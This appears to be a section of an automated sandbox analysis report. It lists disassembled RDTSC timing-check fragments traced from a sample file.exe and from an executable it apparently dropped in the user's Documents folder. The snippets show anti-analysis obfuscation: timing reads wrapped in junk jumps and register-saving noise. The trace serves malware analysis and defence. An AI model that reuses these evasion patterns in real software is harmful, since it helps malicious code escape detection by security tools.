Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5930706 second address: 593074C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6AC4F647F3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b sub edx, esi 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 pushad 0x00000011 popad 0x00000012 pushfd 0x00000013 jmp 00007F6AC4F647EEh 0x00000018 jmp 00007F6AC4F647F5h 0x0000001d popfd 0x0000001e popad 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 593074C second address: 59307C7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6AC4F69481h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov edi, dword ptr [ebp+08h] 0x0000000c pushad 0x0000000d mov esi, 33D40173h 0x00000012 pushfd 0x00000013 jmp 00007F6AC4F69488h 0x00000018 or ax, C878h 0x0000001d jmp 00007F6AC4F6947Bh 0x00000022 popfd 0x00000023 popad 0x00000024 dec edi 0x00000025 pushad 0x00000026 mov di, ax 0x00000029 mov bx, cx 0x0000002c popad 0x0000002d lea ebx, dword ptr [edi+01h] 0x00000030 jmp 00007F6AC4F6947Ah 0x00000035 mov al, byte ptr [edi+01h] 0x00000038 push eax 0x00000039 push edx 0x0000003a jmp 00007F6AC4F69487h 0x0000003f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59307C7 second address: 59307CD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59307CD second address: 5930812 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6AC4F6947Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b inc edi 0x0000000c pushad 0x0000000d pushfd 0x0000000e jmp 00007F6AC4F69484h 0x00000013 adc eax, 23FD2798h 0x00000019 jmp 00007F6AC4F6947Bh 0x0000001e popfd 0x0000001f mov edx, esi 0x00000021 popad 0x00000022 test al, al 0x00000024 push eax 0x00000025 push edx 0x00000026 pushad 0x00000027 mov esi, edi 0x00000029 popad 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5930812 second address: 5930842 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6AC4F647EFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jne 00007F6B3585CA40h 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F6AC4F647F5h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5930842 second address: 59308C0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6AC4F69481h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ecx, edx 0x0000000b jmp 00007F6AC4F6947Eh 0x00000010 shr ecx, 02h 0x00000013 pushad 0x00000014 mov al, E0h 0x00000016 pushad 0x00000017 pushfd 0x00000018 jmp 00007F6AC4F69489h 0x0000001d sub eax, 34D46956h 0x00000023 jmp 00007F6AC4F69481h 0x00000028 popfd 0x00000029 jmp 00007F6AC4F69480h 0x0000002e popad 0x0000002f popad 0x00000030 rep movsd 0x00000032 rep movsd 0x00000034 rep movsd 0x00000036 rep movsd 0x00000038 rep movsd 0x0000003a push eax 0x0000003b push edx 0x0000003c pushad 0x0000003d mov dx, A190h 0x00000041 mov bx, 46BCh 0x00000045 popad 0x00000046 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59308C0 second address: 59308C6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59308C6 second address: 59308CA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59308CA second address: 5930938 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ecx, edx 0x0000000a jmp 00007F6AC4F647F8h 0x0000000f and ecx, 03h 0x00000012 pushad 0x00000013 call 00007F6AC4F647EEh 0x00000018 mov dl, ch 0x0000001a pop edi 0x0000001b call 00007F6AC4F647ECh 0x00000020 mov cx, 2781h 0x00000024 pop ecx 0x00000025 popad 0x00000026 rep movsb 0x00000028 jmp 00007F6AC4F647EDh 0x0000002d mov dword ptr [ebp-04h], FFFFFFFEh 0x00000034 push eax 0x00000035 push edx 0x00000036 jmp 00007F6AC4F647EDh 0x0000003b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5930938 second address: 593097D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007F6AC4F6947Dh 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d mov eax, ebx 0x0000000f jmp 00007F6AC4F6947Eh 0x00000014 mov ecx, dword ptr [ebp-10h] 0x00000017 pushad 0x00000018 jmp 00007F6AC4F6947Eh 0x0000001d popad 0x0000001e mov dword ptr fs:[00000000h], ecx 0x00000025 push eax 0x00000026 push edx 0x00000027 push eax 0x00000028 push edx 0x00000029 pushad 0x0000002a popad 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 593097D second address: 5930983 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5930983 second address: 59309EA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6AC4F6947Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ecx 0x0000000a pushad 0x0000000b pushfd 0x0000000c jmp 00007F6AC4F69484h 0x00000011 jmp 00007F6AC4F69485h 0x00000016 popfd 0x00000017 mov ecx, 13232CD7h 0x0000001c popad 0x0000001d pop edi 0x0000001e jmp 00007F6AC4F6947Ah 0x00000023 pop esi 0x00000024 push eax 0x00000025 push edx 0x00000026 jmp 00007F6AC4F69487h 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59309EA second address: 5930A5F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007F6AC4F647EFh 0x00000008 pop eax 0x00000009 jmp 00007F6AC4F647F9h 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 pop ebx 0x00000012 pushad 0x00000013 mov cl, B3h 0x00000015 pushfd 0x00000016 jmp 00007F6AC4F647F9h 0x0000001b adc cx, DB26h 0x00000020 jmp 00007F6AC4F647F1h 0x00000025 popfd 0x00000026 popad 0x00000027 leave 0x00000028 push eax 0x00000029 push edx 0x0000002a jmp 00007F6AC4F647EDh 0x0000002f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5930B73 second address: 5930B90 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6AC4F69489h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5930B90 second address: 5930BAC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6AC4F647F1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5930BAC second address: 5930BB0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5930BB0 second address: 5930BB6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5930BB6 second address: 5930C06 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F6AC4F6947Bh 0x00000008 pushfd 0x00000009 jmp 00007F6AC4F69488h 0x0000000e or si, 5488h 0x00000013 jmp 00007F6AC4F6947Bh 0x00000018 popfd 0x00000019 popad 0x0000001a pop edx 0x0000001b pop eax 0x0000001c xchg eax, ebp 0x0000001d push eax 0x0000001e push edx 0x0000001f pushad 0x00000020 movsx ebx, si 0x00000023 call 00007F6AC4F6947Ch 0x00000028 pop ecx 0x00000029 popad 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5930C06 second address: 5930C0C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5930C0C second address: 5930C10 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5930C10 second address: 5930C3B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6AC4F647EAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov ebp, esp 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F6AC4F647F7h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5930C3B second address: 5930C41 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5930C41 second address: 5930C45 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsHIEHDHCFIJ.exe	RDTSC instruction interceptor: First address: A5F0D0 second address: A5F0E6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007F6AC4F69476h 0x0000000a popad 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 je 00007F6AC4F69476h 0x00000016 rdtsc
Source: C:\Users\user\DocumentsHIEHDHCFIJ.exe	RDTSC instruction interceptor: First address: A5F0E6 second address: A5F0F0 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F6AC4F647E6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\DocumentsHIEHDHCFIJ.exe	RDTSC instruction interceptor: First address: BCB1F0 second address: BCB1F4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsHIEHDHCFIJ.exe	RDTSC instruction interceptor: First address: BCB1F4 second address: BCB1FA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsHIEHDHCFIJ.exe	RDTSC instruction interceptor: First address: BCB1FA second address: BCB203 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\DocumentsHIEHDHCFIJ.exe	RDTSC instruction interceptor: First address: BCB203 second address: BCB20F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007F6AC4F647E6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\DocumentsHIEHDHCFIJ.exe	RDTSC instruction interceptor: First address: BBBEB8 second address: BBBEC2 instructions: 0x00000000 rdtsc 0x00000002 js 00007F6AC4F69476h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\DocumentsHIEHDHCFIJ.exe	RDTSC instruction interceptor: First address: BCA2DA second address: BCA2EE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jo 00007F6AC4F647E6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jnp 00007F6AC4F647E6h 0x00000014 rdtsc
Source: C:\Users\user\DocumentsHIEHDHCFIJ.exe	RDTSC instruction interceptor: First address: BCA420 second address: BCA428 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\DocumentsHIEHDHCFIJ.exe	RDTSC instruction interceptor: First address: BCA69C second address: BCA6A6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F6AC4F647E6h 0x0000000a rdtsc
Source: C:\Users\user\DocumentsHIEHDHCFIJ.exe	RDTSC instruction interceptor: First address: BCA6A6 second address: BCA6C1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6AC4F6947Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F6AC4F6947Ah 0x00000010 rdtsc
Source: C:\Users\user\DocumentsHIEHDHCFIJ.exe	RDTSC instruction interceptor: First address: BCA6C1 second address: BCA6C5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsHIEHDHCFIJ.exe	RDTSC instruction interceptor: First address: BCAAB4 second address: BCAAB8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsHIEHDHCFIJ.exe	RDTSC instruction interceptor: First address: BCAAB8 second address: BCAAD0 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F6AC4F647E6h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F6AC4F647EAh 0x00000013 rdtsc
Source: C:\Users\user\DocumentsHIEHDHCFIJ.exe	RDTSC instruction interceptor: First address: BCEC0D second address: BCEC13 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsHIEHDHCFIJ.exe	RDTSC instruction interceptor: First address: BCEC13 second address: BCEC1E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jc 00007F6AC4F647E6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\DocumentsHIEHDHCFIJ.exe	RDTSC instruction interceptor: First address: BCEC1E second address: BCEC83 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov dword ptr [esp], eax 0x0000000a mov di, F8C0h 0x0000000e push 00000000h 0x00000010 mov edx, dword ptr [ebp+122D2A09h] 0x00000016 call 00007F6AC4F69479h 0x0000001b pushad 0x0000001c pushad 0x0000001d pushad 0x0000001e popad 0x0000001f jns 00007F6AC4F69476h 0x00000025 popad 0x00000026 jmp 00007F6AC4F69489h 0x0000002b popad 0x0000002c push eax 0x0000002d jmp 00007F6AC4F69482h 0x00000032 mov eax, dword ptr [esp+04h] 0x00000036 jp 00007F6AC4F69480h 0x0000003c push eax 0x0000003d push edx 0x0000003e push eax 0x0000003f pop eax 0x00000040 rdtsc
Source: C:\Users\user\DocumentsHIEHDHCFIJ.exe	RDTSC instruction interceptor: First address: BEC3B5 second address: BEC3BB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsHIEHDHCFIJ.exe	RDTSC instruction interceptor: First address: BEC6B5 second address: BEC6BB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsHIEHDHCFIJ.exe	RDTSC instruction interceptor: First address: BEC6BB second address: BEC6D1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jmp 00007F6AC4F647ECh 0x0000000b push edx 0x0000000c pop edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\DocumentsHIEHDHCFIJ.exe	RDTSC instruction interceptor: First address: BEC7F5 second address: BEC7F9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsHIEHDHCFIJ.exe	RDTSC instruction interceptor: First address: BED407 second address: BED40D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsHIEHDHCFIJ.exe	RDTSC instruction interceptor: First address: BED40D second address: BED411 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsHIEHDHCFIJ.exe	RDTSC instruction interceptor: First address: BED411 second address: BED427 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F6AC4F647E6h 0x00000008 push edx 0x00000009 pop edx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push edx 0x0000000d push ecx 0x0000000e pop ecx 0x0000000f jg 00007F6AC4F647E6h 0x00000015 pop edx 0x00000016 rdtsc
Source: C:\Users\user\DocumentsHIEHDHCFIJ.exe	RDTSC instruction interceptor: First address: BED427 second address: BED467 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jno 00007F6AC4F69476h 0x00000009 jnl 00007F6AC4F69476h 0x0000000f pop edx 0x00000010 jmp 00007F6AC4F6947Dh 0x00000015 pop edx 0x00000016 pop eax 0x00000017 pushad 0x00000018 jmp 00007F6AC4F69481h 0x0000001d jns 00007F6AC4F6947Ch 0x00000023 push ecx 0x00000024 push eax 0x00000025 push edx 0x00000026 rdtsc
Source: C:\Users\user\DocumentsHIEHDHCFIJ.exe	RDTSC instruction interceptor: First address: BED467 second address: BED470 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\DocumentsHIEHDHCFIJ.exe	RDTSC instruction interceptor: First address: BBF561 second address: BBF565 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsHIEHDHCFIJ.exe	RDTSC instruction interceptor: First address: BBF565 second address: BBF598 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007F6AC4F647E6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jmp 00007F6AC4F647F7h 0x00000011 pushad 0x00000012 jmp 00007F6AC4F647EDh 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\DocumentsHIEHDHCFIJ.exe	RDTSC instruction interceptor: First address: BF114E second address: BF115B instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push edx 0x00000004 pop edx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push ecx 0x0000000a push edi 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\DocumentsHIEHDHCFIJ.exe	RDTSC instruction interceptor: First address: BF4A0E second address: BF4A12 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsHIEHDHCFIJ.exe	RDTSC instruction interceptor: First address: BF4A12 second address: BF4A18 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsHIEHDHCFIJ.exe	RDTSC instruction interceptor: First address: BF4A18 second address: BF4A24 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\DocumentsHIEHDHCFIJ.exe	RDTSC instruction interceptor: First address: BF4A24 second address: BF4A28 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsHIEHDHCFIJ.exe	RDTSC instruction interceptor: First address: BF4A28 second address: BF4A44 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6AC4F647F8h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\DocumentsHIEHDHCFIJ.exe	RDTSC instruction interceptor: First address: BB6D02 second address: BB6D08 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsHIEHDHCFIJ.exe	RDTSC instruction interceptor: First address: BF6A7F second address: BF6A89 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F6AC4F647ECh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\DocumentsHIEHDHCFIJ.exe	RDTSC instruction interceptor: First address: BF9D04 second address: BF9D19 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6AC4F6947Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a pushad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\DocumentsHIEHDHCFIJ.exe	RDTSC instruction interceptor: First address: BF92D9 second address: BF92FC instructions: 0x00000000 rdtsc 0x00000002 jo 00007F6AC4F647E6h 0x00000008 push eax 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jns 00007F6AC4F647EEh 0x00000012 push eax 0x00000013 jnl 00007F6AC4F647E6h 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\DocumentsHIEHDHCFIJ.exe	RDTSC instruction interceptor: First address: BF92FC second address: BF931F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 jmp 00007F6AC4F69483h 0x0000000a popad 0x0000000b jl 00007F6AC4F69488h 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\DocumentsHIEHDHCFIJ.exe	RDTSC instruction interceptor: First address: BF931F second address: BF9323 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsHIEHDHCFIJ.exe	RDTSC instruction interceptor: First address: BF946F second address: BF9479 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F6AC4F69476h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\DocumentsHIEHDHCFIJ.exe	RDTSC instruction interceptor: First address: BFC5E5 second address: BFC60C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6AC4F647EEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jp 00007F6AC4F647E8h 0x00000011 pop edx 0x00000012 mov eax, dword ptr [esp+04h] 0x00000016 push eax 0x00000017 push edx 0x00000018 push esi 0x00000019 pushad 0x0000001a popad 0x0000001b pop esi 0x0000001c rdtsc
Source: C:\Users\user\DocumentsHIEHDHCFIJ.exe	RDTSC instruction interceptor: First address: BFC60C second address: BFC616 instructions: 0x00000000 rdtsc 0x00000002 js 00007F6AC4F6947Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\DocumentsHIEHDHCFIJ.exe	RDTSC instruction interceptor: First address: BFC616 second address: BFC623 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov eax, dword ptr [eax] 0x00000008 push ebx 0x00000009 push eax 0x0000000a push edx 0x0000000b push edi 0x0000000c pop edi 0x0000000d rdtsc
Source: C:\Users\user\DocumentsHIEHDHCFIJ.exe	RDTSC instruction interceptor: First address: BFC623 second address: BFC693 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 mov dword ptr [esp+04h], eax 0x0000000b pushad 0x0000000c jp 00007F6AC4F6947Ch 0x00000012 jc 00007F6AC4F69480h 0x00000018 jmp 00007F6AC4F6947Ah 0x0000001d popad 0x0000001e pop eax 0x0000001f jng 00007F6AC4F69479h 0x00000025 movsx esi, di 0x00000028 call 00007F6AC4F69479h 0x0000002d push esi 0x0000002e jnl 00007F6AC4F69478h 0x00000034 pop esi 0x00000035 push eax 0x00000036 jnl 00007F6AC4F6948Bh 0x0000003c mov eax, dword ptr [esp+04h] 0x00000040 push eax 0x00000041 push edx 0x00000042 js 00007F6AC4F69478h 0x00000048 pushad 0x00000049 popad 0x0000004a rdtsc
Source: C:\Users\user\DocumentsHIEHDHCFIJ.exe	RDTSC instruction interceptor: First address: BFC971 second address: BFC975 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsHIEHDHCFIJ.exe	RDTSC instruction interceptor: First address: BFCE4F second address: BFCE61 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 popad 0x00000008 push eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c jnc 00007F6AC4F69476h 0x00000012 rdtsc
Source: C:\Users\user\DocumentsHIEHDHCFIJ.exe	RDTSC instruction interceptor: First address: BFCE61 second address: BFCE6C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\DocumentsHIEHDHCFIJ.exe	RDTSC instruction interceptor: First address: BFD31A second address: BFD31E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsHIEHDHCFIJ.exe	RDTSC instruction interceptor: First address: BFD463 second address: BFD46A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\DocumentsHIEHDHCFIJ.exe	RDTSC instruction interceptor: First address: BFD56F second address: BFD573 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsHIEHDHCFIJ.exe	RDTSC instruction interceptor: First address: BFD573 second address: BFD57D instructions: 0x00000000 rdtsc 0x00000002 je 00007F6AC4F647E6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\DocumentsHIEHDHCFIJ.exe	RDTSC instruction interceptor: First address: BFD70B second address: BFD722 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F6AC4F69482h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\DocumentsHIEHDHCFIJ.exe	RDTSC instruction interceptor: First address: BFD722 second address: BFD72C instructions: 0x00000000 rdtsc 0x00000002 jg 00007F6AC4F647ECh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\DocumentsHIEHDHCFIJ.exe	RDTSC instruction interceptor: First address: BFD92B second address: BFD948 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop esi 0x00000008 mov dword ptr [esp], eax 0x0000000b mov esi, 3E233069h 0x00000010 mov dword ptr [ebp+1245BE1Ah], edx 0x00000016 xchg eax, ebx 0x00000017 push eax 0x00000018 push edx 0x00000019 push eax 0x0000001a push edx 0x0000001b pushad 0x0000001c popad 0x0000001d rdtsc
Source: C:\Users\user\DocumentsHIEHDHCFIJ.exe	RDTSC instruction interceptor: First address: BFD948 second address: BFD94E instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsHIEHDHCFIJ.exe	RDTSC instruction interceptor: First address: BFF811 second address: BFF829 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F6AC4F69483h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\DocumentsHIEHDHCFIJ.exe	RDTSC instruction interceptor: First address: BFF829 second address: BFF82E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
